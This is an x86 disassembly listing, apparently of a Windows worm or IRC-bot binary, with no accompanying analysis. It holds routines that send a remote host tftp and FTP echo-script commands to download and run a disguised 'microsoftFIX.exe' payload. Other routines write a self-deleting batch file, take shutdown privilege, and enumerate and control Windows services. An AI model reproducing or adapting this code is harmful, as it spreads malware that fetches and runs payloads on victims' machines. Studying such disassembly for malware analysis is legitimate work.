		call	dword_4453A4
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4453A4
		push	ebx
		nop
		call	near ptr 25E0000h
		push	edi
		nop
		call	near ptr 267009Bh
		push	1
		pop	eax
		pop	edi
		pop	ebx
		jmp	short loc_411E5C
; ---------------------------------------------------------------------------


loc_411E5A:				; CODE XREF: sub_411DDA+14j
		xor	eax, eax


loc_411E5C:				; CODE XREF: sub_411DDA+7Ej
		pop	esi
		pop	ebp
		retn
sub_411DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E5F	proc near		; CODE XREF: ___:004029A1p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_445404
		test	eax, eax
		jz	short loc_411EFE
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4DD358
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_411EFE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0000h
		push	ebx
		mov	ebx, dword_4DD2BC
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_411EFE
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E06F2h
		push	esi
		call	ebx


loc_411EFE:				; CODE XREF: sub_411E5F+2Aj
					; sub_411E5F+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411E5F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_417070
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS_4	; "%s %s"
		push	400h
		push	eax
		call	sub_4172D0
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		nop
		call	near ptr 267039Fh
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411F81	proc near		; CODE XREF: sub_403038+15F3p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_4133BB
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_445288
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_411F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411FA3	proc near		; CODE XREF: sub_403038+3B8Ap
					; ___:004114CFp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_436C24, esi
		push	edi
		jz	short loc_411FC7
		cmp	dword_445418, esi
		jnz	short loc_411FC7
		push	esi
		call	sub_401000
		pop	ecx


loc_411FC7:				; CODE XREF: sub_411FA3+13j
					; sub_411FA3+1Bj
		call	sub_40901C
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26D0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2760000h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_412127
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2720000h
		nop
		push	edi
		call	near ptr 267009Bh
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417070
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417070
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_4DA61C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 26A0797h
		nop
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26B0C38h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4120CF
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26B0AE4h


loc_4120CF:				; CODE XREF: sub_411FA3+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4171D0
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 267039Fh


loc_412127:				; CODE XREF: sub_411FA3+72j
		pop	edi
		pop	esi
		leave
		retn
sub_411FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41212B	proc near		; CODE XREF: sub_403038+54FDp

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26F053Fh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_4121C1
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4452C8
		push	edi
		push	eax
		call	dword_4452D8
		test	eax, eax
		jz	short loc_4121B3
		push	[ebp+arg_10]
		push	offset dword_4421C8


loc_41218C:				; CODE XREF: sub_41212B+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 20h
		jmp	short loc_4121EB
; ---------------------------------------------------------------------------


loc_4121B3:				; CODE XREF: sub_41212B+57j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_4421E4
		jmp	short loc_41218C
; ---------------------------------------------------------------------------


loc_4121C1:				; CODE XREF: sub_41212B+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_44220C
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 1Ch


loc_4121EB:				; CODE XREF: sub_41212B+86j
		pop	edi
		leave
		retn
sub_41212B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4121EE	proc near		; CODE XREF: ___:0040AEEBp
					; ___:0040C86Ep

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_445388
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_445348
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_BC], esi
		jz	loc_4122F1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4122F1
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_445360
		mov	esi, offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40267D
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4172D0
		movzx	eax, word ptr dword_4D3010
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_40267D
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_1 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_BC]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4122F5


loc_4122F1:				; CODE XREF: sub_4121EE+56j
					; sub_4121EE+6Cj
		xor	al, al
		jmp	short loc_412319
; ---------------------------------------------------------------------------


loc_4122F5:				; CODE XREF: sub_4121EE+101j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	dword_445360
		push	[ebp+arg_BC]
		call	dword_4453E0
		mov	al, 1


loc_412319:				; CODE XREF: sub_4121EE+105j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4121EE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	near ptr 26F053Fh
		nop
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_412374
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_41235D
		push	1
		pop	eax
		cmp	[ebp-84h], eax
		jnz	short loc_412374
		leave
		retn
; ---------------------------------------------------------------------------


loc_41235D:				; CODE XREF: ___:0041234Ej
		cmp	dword ptr [ebp-8Ch], 0Ah
		jz	short loc_41236F
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_412374


loc_41236F:				; CODE XREF: ___:00412364j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_412374:				; CODE XREF: ___:00412345j
					; ___:00412359j ...
		push	esi
		push	edi
		push	offset aNetapi32_dll_0 ; "netapi32.dll"
		call	near ptr 2690610h
		nop
		mov	esi, eax
		push	offset aNetmessagebu_0 ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0000h
		push	32h
		mov	edi, eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1C0h]
		push	eax
		call	sub_419D00
		push	32h
		lea	eax, [ebp-15Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_419D00
		push	32h
		lea	eax, [ebp-0F8h]
		push	dword ptr [ebp+10h]
		push	eax
		call	sub_419D00
		lea	eax, [ebp-0F8h]
		push	eax
		call	sub_41A800
		shl	eax, 1
		push	eax
		lea	eax, [ebp-0F8h]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		lea	eax, [ebp-1C0h]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2801179h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123FE	proc near		; CODE XREF: ___:00402785p
					; ___:0040C7BDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		pop	ecx
		call	sub_417B10
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_433480
		call	sub_41915C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4123FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41243B	proc near		; CODE XREF: sub_403038+261Dp
					; sub_403038+2680p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4124A0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4422E0[esi]
		push	edi
		push	eax
		call	sub_4124C2
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412483
		push	edi
		push	off_4422DC[esi]
		mov	esi, offset dword_4DACE0
		push	offset unk_4423A0
		push	esi
		call	sub_4171D0
		add	esp, 10h
		jmp	short loc_4124BD
; ---------------------------------------------------------------------------


loc_412483:				; CODE XREF: sub_41243B+2Aj
		push	eax
		call	sub_412564
		push	eax
		push	edi
		mov	esi, offset dword_4DACE0
		push	offset unk_4423BC
		push	esi
		call	sub_4171D0
		add	esp, 14h
		jmp	short loc_4124BD
; ---------------------------------------------------------------------------


loc_4124A0:				; CODE XREF: sub_41243B+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DACE0
		push	off_4422D8[eax*4]
		push	offset unk_4423E8
		push	esi
		call	sub_4171D0
		add	esp, 0Ch


loc_4124BD:				; CODE XREF: sub_41243B+46j
					; sub_41243B+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41243B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124C2	proc near		; CODE XREF: sub_41243B+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_44533C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_4124E9
		call	near ptr 26908EFh
		nop
		mov	ebx, eax
		jmp	short loc_41255E
; ---------------------------------------------------------------------------


loc_4124E9:				; CODE XREF: sub_4124C2+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_445224
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412509
		nop
		call	near ptr 26908EFh
		mov	ebx, eax
		jmp	short loc_412556
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_4124C2+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41253C
		cmp	eax, 3
		jz	short loc_41252D
		jle	short loc_41254F
		cmp	eax, 6
		jg	short loc_41254F
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_445290
		jmp	short loc_412543
; ---------------------------------------------------------------------------


loc_41252D:				; CODE XREF: sub_4124C2+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_44522C
		jmp	short loc_412543
; ---------------------------------------------------------------------------


loc_41253C:				; CODE XREF: sub_4124C2+4Dj
		push	esi
		call	dword_445294


loc_412543:				; CODE XREF: sub_4124C2+69j
					; sub_4124C2+78j
		test	eax, eax
		jnz	short loc_41254F
		call	near ptr 26908EFh
		nop
		mov	ebx, eax


loc_41254F:				; CODE XREF: sub_4124C2+54j
					; sub_4124C2+59j ...
		push	esi
		call	dword_445240


loc_412556:				; CODE XREF: sub_4124C2+45j
		push	edi
		call	dword_445240
		pop	esi


loc_41255E:				; CODE XREF: sub_4124C2+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_4124C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_412564	proc near		; CODE XREF: sub_41243B+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412619
		jz	loc_412612
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_4125DC
		jz	short loc_4125D2
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_4125C8
		dec	ecx
		dec	ecx
		jz	short loc_4125BE
		dec	ecx
		jz	short loc_4125B4
		sub	ecx, 51h
		jz	short loc_4125AA
		sub	ecx, 24h
		jnz	loc_41268F	; default
					; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125AA:				; CODE XREF: sub_412564+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412564+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125BE:				; CODE XREF: sub_412564+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125C8:				; CODE XREF: sub_412564+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125D2:				; CODE XREF: sub_412564+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125DC:				; CODE XREF: sub_412564+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41260B
		dec	ecx
		jz	short loc_412604
		dec	ecx
		jz	short loc_4125FD
		dec	ecx
		jnz	loc_41268F	; default
					; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_412681
; ---------------------------------------------------------------------------


loc_4125FD:				; CODE XREF: sub_412564+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412604:				; CODE XREF: sub_412564+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_41260B:				; CODE XREF: sub_412564+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_412564+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412619:				; CODE XREF: sub_412564+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41268F ; default
					; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41267C
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41268F ; default
					; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_4126D0[ecx]
		jmp	off_4126A8[ecx*4] ; switch jump


loc_41263D:				; DATA XREF: ___:off_4126A8o
		push	offset aTheSpecifiedDa ; jumptable 00412636 case 7
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412644:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceDepe ; jumptable 00412636 case 17
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_41264B:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceDe_0 ; jumptable 00412636 case 10
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412652:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceHasB ; jumptable 00412636 case 0
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412659:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheSpecified_0 ; jumptable 00412636 case 2
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412660:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceCoul ; jumptable 00412636 case 11
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412667:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceHa_0 ; jumptable 00412636 case 14
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_41266E:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheRequested_1 ; jumptable 00412636 case 3
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_412564+D2j
					; DATA XREF: ___:off_4126A8o
		push	offset aTheServiceHasN ; jumptable 00412636 case 4
		jmp	short loc_412681
; ---------------------------------------------------------------------------


loc_41267C:				; CODE XREF: sub_412564+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_412681:				; CODE XREF: sub_412564+41j
					; sub_412564+4Bj ...
		push	offset dword_4DA620
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	short loc_4126A2
; ---------------------------------------------------------------------------


loc_41268F:				; CODE XREF: sub_412564+36j
					; sub_412564+89j ...
		push	eax		; default
					; jumptable 00412636 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA620
		call	sub_4171D0
		add	esp, 0Ch


loc_4126A2:				; CODE XREF: sub_412564+129j
		mov	eax, offset dword_4DA620
		retn
sub_412564	endp

; ---------------------------------------------------------------------------
off_4126A8	dd offset loc_412652	; DATA XREF: sub_412564+D2r
		dd offset loc_412659	; jump table for switch	statement
		dd offset loc_41266E
		dd offset loc_412675
		dd offset loc_41263D
		dd offset loc_41264B
		dd offset loc_412660
		dd offset loc_412667
		dd offset loc_412644
		dd offset loc_41268F
byte_4126D0	db	0,     9,     1,     2 ; DATA XREF: sub_412564+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4126E2	proc near		; CODE XREF: sub_403038+2648p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_44533C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h


loc_41271A:				; CODE XREF: sub_4126E2+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_445308
		test	eax, eax
		jnz	short loc_412754
		nop
		call	near ptr 26908EFh
		cmp	eax, 0EAh
		jnz	loc_412808


loc_412754:				; CODE XREF: sub_4126E2+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4127FF
		lea	esi, [ebp+var_188]


loc_412765:				; CODE XREF: sub_4126E2+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_4127AE
		dec	eax
		jz	short loc_4127A7
		dec	eax
		jz	short loc_4127A0
		dec	eax
		jz	short loc_412799
		dec	eax
		jz	short loc_412792
		dec	eax
		jz	short loc_41278B
		dec	eax
		jz	short loc_412784
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_412784:				; CODE XREF: sub_4126E2+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_41278B:				; CODE XREF: sub_4126E2+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_412792:				; CODE XREF: sub_4126E2+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_412799:				; CODE XREF: sub_4126E2+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_4127A0:				; CODE XREF: sub_4126E2+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_4127A7:				; CODE XREF: sub_4126E2+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_4127B3
; ---------------------------------------------------------------------------


loc_4127AE:				; CODE XREF: sub_4126E2+87j
		push	offset aStopped	; "    Stopped"


loc_4127B3:				; CODE XREF: sub_4126E2+A0j
					; sub_4126E2+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4171D0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_1	; "%s: %s (%s)"
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_412765


loc_4127FF:				; CODE XREF: sub_4126E2+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_41271A


loc_412808:				; CODE XREF: sub_4126E2+6Cj
		push	[ebp+var_C]
		call	dword_445240
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_4126E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41281F	proc near		; CODE XREF: sub_403038+2728p
					; sub_403038+273Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4128B8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_412848
		dec	eax
		jnz	short loc_412898
		push	edi
		push	0
		call	sub_4129F1
		pop	ecx
		pop	ecx
		jmp	short loc_412894
; ---------------------------------------------------------------------------


loc_412848:				; CODE XREF: sub_41281F+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_412886
		push	24h
		push	edi
		call	sub_4185C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412886
		push	57h
		pop	eax


loc_41285F:				; CODE XREF: sub_41281F+77j
		push	eax
		call	sub_4131C9
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DA8DC
		push	off_4422D8[eax*4]
		push	offset unk_442960
		push	esi
		call	sub_4171D0
		add	esp, 18h
		jmp	short loc_4128D8
; ---------------------------------------------------------------------------


loc_412886:				; CODE XREF: sub_41281F+2Dj
					; sub_41281F+3Bj
		push	[ebp+arg_8]
		push	edi
